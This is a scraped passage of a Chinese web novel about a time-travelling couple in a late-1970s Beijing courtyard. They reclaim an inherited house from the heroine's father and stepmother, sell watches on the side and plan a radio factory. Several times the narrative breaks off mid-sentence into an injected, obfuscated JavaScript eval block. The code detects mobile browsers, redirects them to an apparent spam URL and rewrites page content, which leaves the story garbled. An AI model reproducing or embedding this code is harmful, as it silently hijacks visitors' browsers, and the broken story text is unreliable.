温宝昌几乎咬碎一口牙,呼哧呼哧喘着粗气,捏起了拳头背在身后,眼神阴沉沉的,从牙缝里挤出俩字:“不会!” 话都说到这个地步了,他还能怎么办? 霍骁北到了南屋门口,木门紧闭着。 南屋是东西向两进的房间,和北屋是西厢两个最大的卧室。 整个西厢是三室一厅一厨的格局,南北屋当中的空间,第一进是客厅,第二进北边是厨房,南边现在是宋爱民一家四口在住。 客厅里热热闹闹的,宋爱民一家躲进房间扒拉着窗帘偷看。 看到温宝昌憋屈的样子,宋爱民心里那叫一个畅快,可算是有人给这老逼登脸色看了。 还有温志伟那小子,一向看不起这个瞧不起那个以为自己高人一等,此时此刻他怕是也躲在门后偷听呢,真想看看他现在的表情。 温志伟表情难看得和他爹有一拼,他更沉不住气,攥着拳头胡乱蹬了一脚,结果踢到了墙上,大脚趾钻心得疼。 偏偏这会儿从外面传来门把转动的声响,温志伟一下子就火大了,拉开门就撞了出去。 南屋门打开,从里面蹿出个人影。 霍骁北又不是个傻子,见那人影冲自己过来,一个闪身就避过去了。 温志伟可就惨了。 他冲得劲大刹不住,哐当一下撞到了宋爱民那屋的门上,屋里偷听的宋爱民感觉窗户都震了震。 那声音温苒听着都疼,抿着嘴憋笑。 霍骁北朝南屋里头看了眼,眼底浮现出浓浓的嫌弃,他站在门口都能闻到一股臭脚丫子味。 嫌弃地转身,霍骁北来到温苒身旁。 这个温志伟看着性格挺暴躁,万一对温苒动手他可不放心。 那边温宝昌终于反应过来,嗷一声跑过去,“志伟!” 温志伟顶着额头青紫的大包,眼神呆滞,“爸!” 温宝昌抱着儿子眼泪都快出来了,温苒瞧着,这神情可比刚才见到她时真挚多了。 温宝昌转头怒瞪温苒,呵斥道:“你看看你带来的人干的好事?!” “你就见不得志伟好,你这孩子太自私了!” 闫春芝也反应过来,上前抱住儿子,抹着泪表情柔弱眼神愤恨:“你要冲就冲我来!志伟做错了什么你要这样对他?他马上要高考,撞坏了脑袋万一考不上大学,难道你要养他一辈子吗?” “你恨阿姨抢了你爸,阿姨知道,以前你年纪小想害志伟我不计较,现在你都结婚了,还不清楚一家人安安生生过日子有多么难得吗?你一定要拆散这个家吗?” 温苒:“……” 什么害温志伟,那破事不都是你们母子自导自演的吗? 还你不计较,你不计较你能擅自做主替原主报名下乡? 温苒面无表情,“哦,那不行你再替我报名下乡?” 闫春芝嗓子一噎。 温苒呵呵冷笑,“呀,我忘了,现在没有知青下乡政策了,大娘你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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东厢一个老太太走到门口,含笑问道:“是小苒那丫头回来了,这些年你受苦了,这是要去哪儿?” 温苒笑盈盈回道:“潘奶奶,这是我爱人霍骁北,前院平安哥说要带我们去轧钢厂新开的澡堂洗澡。” 潘老太眉毛一皱,拧成了八字眉,“那也吃了饭去洗啊,你们这刚下火车就往家里赶,都这么晚了肯定还没吃饭吧?来奶奶家,奶奶给你炸大麻花!” 温苒眼睛一亮,吃大户的机会这不就来了? 她神情失落,回头看了眼西厢,转过来大声道:“奶奶您家过得也不宽裕,我就不去了。而且闫大娘说这都大晚上了,吃了饭再积食,让我和骁北忍一忍,明天早上喝棒子面粥管够!” 这边潘老太听得目瞪狗呆,屋里闫春芝火冒三尺。 这小贱丫头胡咧咧什么呢?她什么时候说过这样的话?! 闫春芝真是气红了眼,扭头冲着温宝昌黏糊糊:“宝昌哥~” 温宝昌不耐烦地摆摆手,“你去拿钱票,给那丫头,让她在外头吃完了再回来!” 闫春芝不敢置信地瞪大眼,“凭什么?小贱丫……” 温宝昌压低声音呵斥:“让你去你就去!” 他算是看出来了,这丫头怕是心里存着怨,就没想着和家里和平相处,要是不如她的意还不知道在外面怎么败坏他名声呢? 闫春芝咬着嘴唇,满心不甘地去拿钱票,还得强行挤出笑脸。 6. 第 6 章 闫春芝抓着钱票跟出来,皮笑肉不笑地高声回道:“你这丫头净说胡话,我是说了家里不宽裕,可我转头就给你翻箱底去了。” “瞧,这是咱家仅剩的肉票了,志伟给你腾房间去住学校我都没给他拿,你拿上,请你平安哥吃点好的!” 温苒利索地接过钱票,“大娘您该好好反思反思。” 闫春芝:什么玩意? 温苒道:“我在乡下没用过家里一分钱,我爸是六级工,工资有九十块钱,养活一家三口绰绰有余,你却说家里不宽裕。” “大娘是不是该反思反思自己不勤俭持家?” 闫春芝急着开口反驳:“我……” 温苒打断她,“大娘你也不讲卫生,连带你儿子温志伟也不讲卫生,你看看她把我的房间折腾成什么样子了?东西发霉的发霉长毛的长毛,我都怕里面连老鼠洞都好几个了!” 前院大门来个几个探头探脑的,对着闫春芝指指点点。 闫春芝深呼吸,恨不得给这小贱丫头来上一耳光。 温苒继续叭叭:“温志伟占了我的房间不好好珍惜就算了,我建议他去学校住宿也是为他好,虽然我一回来他就想对我动手,还专门躲在门后面撞我,但谁让我这个善良呢?” “我看他学习用的书本干干净净,显然没复习多少,不如去学校专心听课,一门心思用在学习上,省得到时候考不上大学怨这个怨那个,别人欠他的啊?” 闫春芝气得说不出话来了。 屋里温志伟不亚于经历一次社死,喘着粗气,脸色涨红,拳头再一次攥起来,他妈好端端的为什么要提他? 温宝昌也觉着闫春芝多此一举,你说你给钱就给钱,瞎白话后面那个干什么?没看出来这丫头现在的脾气是逮谁就不放过谁吗? “他娘,你回来给孩子收拾收拾,住校用的东西都备全了!” 温宝昌遥遥一声给了闫春芝台阶,闫春芝灰溜溜地回去了。 潘老太冲温苒竖起大拇指,“明天来奶奶家吃,奶给你炸大麻花!” 温苒爽快应道:“一定!” 曲平安站在中院门口招手,等两人上前忙道:“温苒你这次回来变厉害了!” 温苒挺了挺后背,也觉得自己很厉害。 以前她一撒谎就脸红,现在瞎扯一堆有的没有,张冠李戴无中生有张口就来,编得她自己都能信了,旁人还一点看不出来了。 这表演技能买得真值! 去澡堂的路上,曲平安道:“那今天你们请,明天我爸说他请。” 温苒笑着说:“看来曲伯伯是非破费不成了?” 曲平安嘻嘻笑,“到时候你就瞅准大菜点,我爸难得这么大方呢!” 聊了几句,曲平安开口换了个话题,“你和妹夫回城,这以后有什么打算?我有个同学在出版社工作,那边正在招人,感兴趣我带你俩去瞧瞧。” 温苒诧异,“你自己不去吗?” 曲平安:“嗐,我一看书脑袋就疼,还是体力活更适合我。” 温苒摇摇头,“我们也算了,我爷爷和我妈留下了两份工作,我和霍骁北正好一人一份。” 曲平安差点摔个跟头,回头:“啊?” 温苒眨巴眼,“不行吗?” “行是肯定行,但是……”曲平安迟疑道:“可你爷你妈留下的工作,已经被闫春芝和她儿子接手了,他们肯定不愿意,你这……” 温苒盯着他的表情,“对啊,我知道。我家的房子也是我爷爷留下的,那也是我的,房子和工作都是我的,我为什么不要?” 曲平安震惊得张大嘴,一时都不知道该说什么,好半晌后他才找回自己的声音,“是、是是、是应该要,但恐怕没那么容易。” 温苒看了眼霍骁北,霍骁北说道:“总能办得成,房子是老爷子留下来的,胡同里邻居应该都知道,做个见证应该不难。” 曲平安几乎是下意识地回了句:“需要多少人我来找!” 听见这话,霍骁北给了温苒一个肯定的眼神。 温苒清了清嗓子,“快到澡堂了,先洗澡,洗完澡我们去吃涮羊肉,要个包间慢慢说。” 从澡堂出来天都黑透了,路边街灯一盏盏亮起,散发着昏黄的光芒。 霍骁北装作从包里实际从系统格子里拿出手电筒打开。 前头路面被照亮,曲平安带方向,三人来到涮羊肉的小馆子。 很遗憾,没有包厢,就选了个墙角位置坐下。 曲平安早就回过味来了,拉着脸道:“温苒你刚才故意的,故意试探我是吧?” 桌上有壶热茶,霍骁北倒了一杯递给温苒。 温苒小口抿了抿,捧着杯子暖手,对曲平安的质问她似乎没觉得哪里不对,大大方方承认了:“唔,这么重要的事情我总得小心点才对吧?” 曲平安一听也对,温苒下乡这么多年,甫一回城哪哪儿都不了解,就她家那情况自然也不敢轻易太相信谁。 这么一想,他本来就不多的气立马消散了。 霍骁北也给他倒了杯茶,紧接着媳妇儿的话说:“做见证的事不需要多少人,我们想请你爸,曲伯伯出面。” 曲平安就着温热的茶水咕噜咕噜两口,一抹嘴问道:“就我爸一个人能行吗?这样,我再叫上隔壁院两个大爷,还有咱们街道办主任,这样更保险。” 温苒摇头,“不需要这么多人,人太多容易走漏消息。” 曲平安反应过来,“你想偷偷的来?” 吃完大餐回到大杂院,曲平安拉着他爸出去遛弯,提了这事。 曲胜利虽然觉得温苒不一定能把事情办成,但是他愿意出面,最好能帮着把事情弄妥了。 “当年你妈生你的时候是在家生的,难产,是你有良大爷找了他当大夫的朋友过来,你们母子才能平安,你的名字也是你有良大爷起的。” 曲平安点头,这事他知道,他爸妈天天说天天说他都会背了,所以他打小就知道护着后头院里的妹妹。 “还有你奶,大冬天滑了一跤,也是有良大爷找人送去医院的。” 这个曲平安也知道,那会儿他正念初中,老人家摔一跤摔得不轻,治好后也一直身体不大好,到现在都是小毛病不断。 西厢,两人回来时没看到温宝昌和温志伟。 客厅里只有闫春芝,没有外人她也不装了,对温苒和霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283793|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骁北眼睛不是眼睛鼻子不是鼻子,故意摔摔打打的。 见状温苒也不打算问那父子俩的去向,八成是温宝昌安慰温志伟也带他去下馆子了。 南屋,霍骁北关窗拉帘,在炕上放出帐篷。 温志伟寒碜得实在不像样子,把这间屋子嚯嚯够呛。 两人是不打算直接住的,打算等把这伙人赶走,重新装修一下再住。 泡过脚后,钻进帐篷躺好,温苒理了理接下来的行程,“明天中午和曲伯伯吃饭,说服他出面做见证,下午去红梅姨家,定好过户时间,最好是后天,速战速决。” 霍骁北在她身侧躺下,长臂一伸将人揽进怀里,“明天不用早起。” 温苒脑海中警铃大作,拉上被子,闭眼道:“我累了,我先睡。” 霍骁北挑了挑眉,动作轻柔地替她理了理耳边碎发,“那个曲平安……” 温苒:“……” 温苒鼓起腮,小声:“提谁也不行。” 被子下抓住她的手,霍骁北随意摆弄道:“我的意思是,攒起来。” 温苒深吸气,深呼气,没忍住踢了他一脚,“你不知道欠债的才是大爷吗?哼!我说不行!至少现在不行!最起码等解决任务以后才可以!” 霍骁北沉默了。 这要到猴年马月去了。 他们是年前十一月份穿越过来的,到现在三个多月,天天和香软的媳妇儿同床共枕却只能干抱着,他都挺佩服自己。 上辈子温苒忙着她的学医大计,霍骁北不敢多打扰。 本以为这辈子情况能好点,结果还不如上辈子。 霍骁北忍不了,翻身压上去,摁着温苒狠狠亲了一顿。 他粗喘着气,埋在温苒颈侧轻啄,“我先收点利息。” 次日一大早,胡同里大喇叭放着广播,西厢南屋这边的窗户被敲响了。 霍骁北出来喝水,听见动静过去查看,掀开窗帘一条缝隙看到了曲平安。 曲平安拎起保温桶和一袋大油条晃了晃,咧着一口大白牙,“妹夫,早饭!” 屋里这情况不方便开窗户,霍骁北披上军大衣出去,把屋门锁上,来到外头拿饭。 客厅里正在摆饭的陈招娣撇了撇嘴,还锁门,自个那点破东西以为谁稀罕呢? 西厢南屋墙根下,曲平安把早饭交给霍骁北,小声道:“我爸同意了。” 霍骁北不怎么意外,“替我们谢谢伯父,可以的话,最好这两天就办。” 曲平安点头,“应该没什么问题,具体需要我爸做什么,咱们晌午吃饭的时候细聊。我先走了,我还得上班儿呢!” 曲平安转身要走,霍骁北叫住他,“等等。” 曲平安站定,眼神困惑,“妹夫还有事?” 霍骁北:“之前听你说你在轧钢厂当临时工,转正式工的机会应该不大。” 曲平安更困惑了,“那也没办法,现在知青都回城了,工作本来就难找,拿钱都买不到。” 这个情况霍骁北当然知道,“等解决完这边的事情,我和温苒打算去鹏城,不知道你有没有兴趣?” 曲平安愣了好一会儿,瞪着眼睛,“……我去!” 7. 第 7 章 霍骁北看着曲平安。 曲平安看着霍骁北。 这个‘我去!’当然不是‘我去’的意思。 结合曲平安的神情反应和语气,这个‘我去!’表达的仅仅是他本人震惊。 曲平安沉默片刻,挠挠头,皱着脸道:“温苒昨天不还说通机厂两份工作你和她一人一份吗?” 霍骁北笑笑,“好好的工作自然不能便宜了外人。” 曲平安抽了抽嘴角,他明白了,这两口子那会儿还没相信他,自然不跟他交底。 他喃喃自语:“鹏城那边开放了,听说新建的厂子多,找工作应该不难,可……你们在京市有工作为什么多此一举还要去鹏城?” 霍骁北:“不是找工作。” 曲平安又愣了,“不找工作能干什么?” 霍骁北没解释,而是提醒他:“你还得上班,时候也不早了,有空了再聊吧。” 曲平安:“……” 曲平安眼神幽怨地看着霍骁北,“妹夫,你做人不厚道啊,吊完人胃口就不管了。” 霍骁北随意一挥手,“有空再聊,我回屋了,看看温苒有没有睡醒。” 曲平安就那么幽怨地目送霍骁北转身,进了屋子,他去上班,整一上午都抓心挠肝的好奇。 霍骁北拎着油条进屋,客厅里摆好饭,一家子围着饭桌已经动了筷子。 看到他手上的油条,陈招娣眼睛一下就亮了,指着饭桌空地,“妹夫放着就行。” 霍骁北步子不停,“这是给温苒的。” 他大高个子健硕的体格,光是站在那里就很有压迫感,冷着脸回这么一句,吓得一向爱挑事的陈招娣立马就偃旗息鼓,缩缩脖子唯唯诺诺地不敢再说什么。 饭桌上其他人再看陈招娣,眼神就很不满。 没用的玩意儿,连要个东西都要不出来。 温志伟看着一桌咸菜窝头棒子面粥,气得丢掉筷子,“不吃了,我去学校。” 温宝昌也没什么胃口,这一桌是闫春芝嘱咐陈招娣准备的,故意为了恶心温苒,清汤寡水味道也不怎么好,家里再困难的时候都没这么吃过。 温宝昌紧接着放下筷子,“我送你去学校。” 将身后那些乱七八糟的算计关在门外,霍骁北把早饭收进背包格子,钻进帐篷继续抱着媳妇儿睡觉。 睡饱了起来,家里空荡荡的一个人也没有。 温苒抱着脸盆出去洗漱,经过客厅,发现厨房门上挂着锁头,这是防着她们呢? 对门东厢的潘老太和前院曲平安的奶奶赵老太一起在院里晒太阳。 见着温苒出来,两个老太太脸上都挂了笑。 潘老太笑着调侃,“我面都发好两轮了,你这懒丫头有好东西吃都不积极!” 院子中间有个压水机,温苒蹲在池子旁接水,听见这话笑盈盈回道:“我当然是知道奶奶疼我,好东西都是我的才不着急!” 赵老太拿手点她,“你瞧这丫头嘴甜的!” 大白天的,又是工作日,人们上班的上班上学的上学,个别年纪大的或年纪小的要么猫屋里要么去别家串门,大杂院里少有的清静。 洗漱完,温苒抹上雪花膏,和霍骁北去对门吃油炸大麻花。 早饭曲平安送来的油条和豆花儿也取出来,豆花儿嫩嫩滑滑的,加上一勺潘奶奶自己腌的韭菜花儿,再咬一口酥脆的大油条,别提多香了。 饭后甜点就是刚出锅的热乎大麻花,煊软香甜,特别上瘾。 吃饱喝足,四人围着炉子坐下。 赵老太烤着火,轻声道:“我前两天儿过来找你,看见温宝昌和何德民那两个东西勾肩搭背地往出去了。” 潘老太那脸色唰一下拉下来,“那老东西,呵!” 温苒抬起脑袋,“何德民何大爷,我听平安哥说他现在是咱们院的一大爷。” 她还知道,这何德民之前被她爷爷狠压一头一直选不上管事大爷,后来她爷爷和妈妈相继过世,这何德民那叫一个幸灾乐祸。 何家的孩子也总是牵头欺负她,好在她们前院几个孩子关系好,何家孩子欺负温苒曲平安她们就帮着欺负回去。 提起这老东西,潘老太就一肚子火,“可别提了,你爷爷没了以后,一大爷咱们选出来是正屋的毛纺厂副厂长,他那会儿院里各家都处的挺好,大事小情他也乐意帮把手处理,为人也公正。可前几年……” 说到这里她顿了下,先往窗户外头瞄了眼,见没人才压低声音说道:“前头几年形势不是不太好么,他太奶成分有点问题,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283794|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收到信儿就赶紧活动调走了,这正屋也就空了出来,一大爷的位置也空下来,让何德民那老东西捡了漏。” 潘老太实在恶心何德民这老东西,呼吸都急促了几分。 温苒呆了呆,太奶成分有问题?她记得那位伯伯比曲伯伯还大几岁,别说太奶了,好像爹娘都没了。 不过这种事放在这个年代好像也不怎么稀奇,扒族谱论成分可是常见操作,没见这会儿有句经典俗语‘我家可是八辈贫农’么? 何德民是一大爷,温宝昌和他搅和在一起,这让温苒想到了家里的房子。 她有房契地契房管局那边都要求再找一个见证人,温宝昌啥也没有那不更需要了? 就是不清楚现在温宝昌的进度如何。 要是已经办妥了,那她们原来的打算就行不通,恐怕得闹到通机厂领导面前,好好和温宝昌掰扯掰扯才行。 要是没办妥,自己这个时间回城,想必温宝昌又急又慌,肯定会做点什么好尽快把房子过户。 就昨天的情况来看,温苒猜测温宝昌应该还没把事情办妥,否则他不会那么轻易就让自己抢了温志伟的房间。 温宝昌该说不说,还是十分重男轻女的,就是一百个温苒也比不过温志伟在他心里的地位。 不论哪种情况,温苒的计划都得加快了。 晌午去饭店,曲胜利请客,今天要说事情,是以除了小儿子曲平安家里人他谁也没喊,就怕一个兜不住再坏了事。 四个人边吃边说。 知道温苒那边在房管局找好了人,她也有房契地契等证明,曲胜利心中大定,房子的事可以说是板上钉钉了。 又听温苒提起温宝昌和一大爷何德民搅和在一起,曲胜利皱了皱眉,“这俩人我记得没怎么有过来往。” 曲平安从外头给茶壶添水回来,听见这话随口道:“不是为了中院的正屋吧?” 曲胜利摇摇头,“这我哪儿清楚?那屋子又没主人,想要就掏钱呗!”他又转向温苒,“你这边可得抓紧了,咱们明天就去房管所,尽快把房子过户。” 吃完一顿大餐,几个人离开饭店,刚出门口就瞥到两个熟悉的身影。 ——温宝昌和温志伟父子,父子俩站在路边,正扭头目送着一辆自行车离开。 8. 第 8 章 说时迟那时快,曲平安一手拽一个,飞快把大家拽回了饭店。 曲胜利甩开儿子的手吼道:“臭小子你差点儿拽你老子一个跟头!” 曲平安一个跨步躲到霍骁北后头,探出脑袋来神色讪讪,“那我不是怕被那俩人发现吗?” 曲胜利冷哼,“瞅你这点出息,你跟你妹子妹夫学学,你看她俩多淡定多冷静?” 温苒:“……” 其实吧,正好抓到温宝昌带温志伟开小灶的现行,她觉得可以再坑一把这老东西,买两斤肉去潘奶奶家蹭饭连晚饭都有了。 霍骁北:“……” 他懂他媳妇儿,要是能薅出几块钱,买几样点心下午去红梅姨家的礼物也有了。 不过没发现就没发现吧,这个关头还是不要节外生枝了。 曲胜利先离开去派出所上班,温苒和霍骁北留下曲平安,找个没人的胡同继续说。 曲平安抄着手,“你俩还有啥事儿?” 温苒笑着说道:“平安哥,你认识人多,知道谁需要手表吗?” 曲平安愣了两秒,眯起眼目光在这两口子身上来回转动,“那不少呢,啥意思?” 霍骁北看了眼温苒,解释:“在沪海转乘时买了几块手表。” 这么一说曲平安立时就明白了,他想了想道:“手表算是大件了,长京有钱人多,尤其是几个大厂的工人不差钱差的是票。如果你们不要票的话,那一块手表价格再多上三五十也不难出手。这事好办,两三块的我今天就能把人给你们找齐,咱明天、明天不行你们有事,后天我就能把钱给你们拿回来,你们有几块?” 温苒轻咳一声,伸出一只手,在曲平安震惊的目光里又伸出另一只手。 曲平安:“?!” 这不叫‘买了几块’,这是搁沪海进货去了吧? 他吞了吞口水,迅速在心里算了笔账。现在几个手表牌子的价格都大差不差的,一块一百二左右,十块那就是一千二了,他这妹子也不怕砸手里胆子可真大? 曲平安恍恍惚惚,“十块啊,那我得踅摸踅摸了,不过也不难。” 是不难,但十块会不会太多了? 温苒补充:“还有几条丝巾,我给大娘留了一条,下了班你过去拿。” 曲平安晕乎乎地离开了,温苒和霍骁北没有回六片儿胡同,转道径直去了通机厂家属院。 路上拿出签到给的豆浆机,两人打算说一声就回来,不留下吃饭了。 工作日家里应该红梅姨在,她办了退休,现在就搁家歇着。 结果到了那边,还见到了红梅姨的小儿子周新杰。 红梅姨三儿一女,大儿子在外地工作,大女儿周新芳嫁在京市本地,余下二儿子和小儿子前些年都下了乡。 “快进来,新杰去泡茶,晚上在家吃不?”郝红梅高兴地问。 温苒摇头,“不了,下午还有点事。红梅姨,我们昨天回了六片儿胡同,找了院里的二大爷,也是街道派出所的副所长曲伯伯去作证,您看明天去房管所能行吗?” 郝红梅接过茶,又吩咐周新杰去端点心水果,“你叔下了班我就跟他讲,让他明天请假带你们去,这事不好拖。” “明天你们办好就过来,我拾掇一桌好菜咱们庆祝庆祝,也算是给你们接风洗尘了!” 留下豆浆机,教会周新杰怎么使,温苒两人就离开了。 郝红梅送完人回来,语气遗憾:“可惜小苒结婚了,不然还能跟你一样接着高考。” 恢复高考后,只有77年冬天的那次高考不限年龄不限婚否不限成分,之后的夏季高考就不再允许已婚知青报名。 周新杰正研究豆浆机研究得起劲,闻言随口回道:“要是我那妹夫不介意,可以先让小苒离婚,考上了再结回去,我下乡那边结了婚的知青都这么办的。” 结婚,家庭,哪里又有高考重要? 郝红梅白了儿子一眼,没好气道:“就你懂!” 再看豆浆机,她笑得合不拢嘴,“你说小苒,知道我爱喝豆浆还特意弄个机子过来。她刚回城手上肯定也没俩钱就舍得这么破费,这孩子真傻!” 周新杰:“……” 说人家傻,您别笑得这么灿烂啊?我看您才是乐傻了! 离开通机厂家属院,温苒两人去了趟银行,先把旧存折上的钱取出来,再办张新存折存进去。 从银行出来,兜里有了钱,温苒瞬间就有了底气。 “买两斤五花肉,晚上去潘奶奶家炖红烧肉!”温苒掰着手指头盘算,“再买几样点心,晚上饿了吃。肉包子也得买,存在格子里备不时之用。” “嗯,还得去买零件,试着组装收音机。” 等拿回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283795|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房子和工作后,温苒和霍骁北并不准备留在京市,而是打算去鹏城。 做生意! 做什么生意? 经过商量后,决定办厂! 而办什么厂? 拥有后世经验的两人,选择了收音机作为电子厂的第一款产品。 东跑西跑一下午,往回走时,迎面就撞上了温宝昌和何德民骑着自行车一起说着笑着拐进胡同来。 何德民矮兮兮一个干瘦老头,脸皮皱吧得和树皮一样,眼皮耷拉着都快看不到眼睛了。 但霍骁北还是敏锐察觉到了,这小老头那眼神一下就落在了温苒身上,上上下下带着窥伺贪婪。 霍骁北的神情唰一下冷下来,不动声色挡在温苒身前。 温苒自然也感觉到了来自何德民恶心的眼神,她终于明白为什么潘奶奶这么讨厌何德民了。 温苒从霍骁北身后探出脑袋来,“爸,你怎么跟何大爷玩上了?我记得你以前不是老在家里说这人是个二币,长的跟被门挤了似的,一脸没瓤的丝瓜样拿回家刷锅都刷不干净。” 霎时这两个老东西的脸色就变得精彩极了。 何德民的老树皮脸一拉,眼神阴冷地瞥向温宝昌。 温宝昌急着跟他解释:“你别听这死丫头瞎说!” 温苒立马又委屈道:“我怎么是瞎说了?” “还不是小时候闫大娘的俩儿子和何大爷家孩子玩,回来跟你讲的,何大爷说你是倒插门吃软饭,没种的男人,你气得把桌子掀翻,又摔碗摔筷,把温志伟都吓得发烧了!” 温宝昌神色阴沉下来,这几句简直就像刀子插在他心口一样,不管听多少次都介意得不得了。 他恼怒地瞪着何德民。 何德民目光闪烁透着心虚,他确实说过,可他没说错啊! 这温宝昌就是倒插门就是吃软饭就是没种啊! 不过想到对方许诺给他的东西,他嘴上却道:“宝昌老弟,我啥样您还不了解?我能说这话?我就是说了这话我能叫他传进你耳朵里?你可冤枉老哥哥我了!” 温宝昌冷冷瞥他一样,从嗓子眼里挤出一声冷哼,搬着自行车进了大院。 何德民剜了这小两口一眼,搬着自行车追上去,“宝昌老弟你听我说——” 温苒和霍骁北对视一眼,靠在他身上笑了:“噗——” 9. 第 9 章 靠在霍骁北身上笑够了,温苒和他手牵手进了大杂院。 “看何德民刚才着急的样子,温宝昌肯定许诺给他不少东西。” 霍骁北手里拎着两斤五花肉,神色冷峻,“他拿不到。” 晚上红烧肉没吃成,改成了炸酱面。 曲平安下了班连家都没回,直接奔中院来蹭饭。 吃过饭,霍骁北被曲平安拽到一旁,跟他汇报找好的手表客户。 温苒扒着窗户观察对面。 温宝昌和闫春芝的房间是西厢北屋,此时那屋里窗帘半掩,透出一片昏黄的光线。 玻璃窗上映出两个晃动人影,人影相对而坐,正是温宝昌和何德民,这么会儿功夫已经推杯换盏了好几次。 蛇鼠一窝臭味相投狼狈为奸…… 一串形容恶劣的成语从温苒脑海中闪过。 晌午曲平安随口说的那句话忽然蹿进脑子里,温苒缓缓转头,中院正房三间敞亮的屋子出现在她眼前。 难不成这俩老逼登达成了什么协议,你帮我拿下西厢,我帮你拿下正屋? 潘老太领着孙子孙女烤栗子,炉火旺盛,熏得近下香喷喷的。 她拿钳子捡出烤好的栗子,招呼道:“别看了小苒,先吃栗子,这栗子又绵又香!” 温苒注意力一秒被转移,高高兴兴吃起了栗子。 霍骁北和曲平安过来,霍骁北:“我跟他出门办点事,等我回来再去对面休息。” 温苒眨巴着大眼睛点头,懂了,是去碰头交易! 霍骁北先去了趟对门‘拿手表’,然后和曲平安出门,趁着夜色骑自行车转了几个家属院和几条胡同,卖出去四块手表。 收回来六百块钱。 六百块,六十张大团结,鼓鼓囊囊塞满了一个挎包。 前头霍骁北大长腿蹬着车,曲平安搁后座紧紧抱着包,心里那叫一个火热。 妈耶这老多钱,他活这么大花的钱都没有这么多。 胡同院里,何德民喝得摇摇晃晃出来了。 温苒扒着窗户看出去,这老头儿踉踉跄跄着爬上了正房台阶,趴在门上一会儿说一会儿笑的,都笑得抽抽了。 说笑够了,何德民扶着墙起来,晃回了后院。 后院有五间后罩房和东西两间耳房,房子挺多,但地方不大,每个房间就小得可怜。 何德民上有老下有孙,一家十几口挤在两间后罩房里,温苒还没下乡时他家曾说要加盖两间倒座房,不过最后没成。 得亏是没成。 这处三进的四合院原是前朝王爷家下人的住处,民国时下人随着老王爷去了东北,宅子转手被卖给一个做买卖的小生意人。 建国后,小生意人抛售家产去了国外,这宅子辗转就到了公家手里。 公家手里的房子出租给各大厂,厂里安排给了工人干部当福利宿舍。 说到这里显而易见,福利宿舍自然不是个人所有,厂里可以随时收回。 但自家加盖的就不一样了,加盖手续申请下来的话,那这房子就是纯个人所有。 当然也有例外,像温苒的爷爷温有良,他家这房子一开始也是厂里分的宿舍,之前不允许房屋买卖,后来政策松动了温有良掏钱买下来的。 这院里除了温家,后院也有两家出钱买下了房子。 不过拿钱买房终归是少数中的少数,因为这年头的工作就是铁饭碗,还是能传家的铁饭碗,只要饭碗在那房子就可以一直住。 甚至租房都比买房的数量多,反正单位可以分房,熬工龄也得熬到分房,何必另外掏钱再去买房? 温苒猜测,温宝昌之所以这么着急把房子弄到手,是因为想赶上这次通机厂分房。 这房子并不属于温宝昌,而房子的主人十几年前就过世了,在有心人眼里这就是无主房子,谁拿钱都能买,谁拿钱都能租住。 这两年政策变了,知青大批量回城,哪家不缺房子住? 温宝昌自然不愿意自己刚分到厂里的房子,转头却见这边让别人占了。 他不想便宜别人,就只能自己弄到手。 当然这里面肯定也有温苒的原因。 知青回城,温苒也是知青,她要是回来了,那这房子她不花钱就能正儿八经继承,温宝昌能愿意? 前院,霍骁北在门口和曲平安分开,分开前抽了几张大团结塞他兜里,“明早帮我们带一兜肉包子,小米粥和咸菜,我和温苒直接去你家吃,谢了。” 曲平安掏钱的动作顿住,到了嘴边推拒的话咽回去,答应道:“没问题!” 霍骁北去潘奶奶家接温苒,回了对面西厢。 从外面看北屋还亮着灯,客厅里却黑黢黢的没人,宋爱民的房间也黑着。 两人缺席了早饭和晚饭,白天厨房锁着,也没人关心她们午饭怎么办。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283796|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 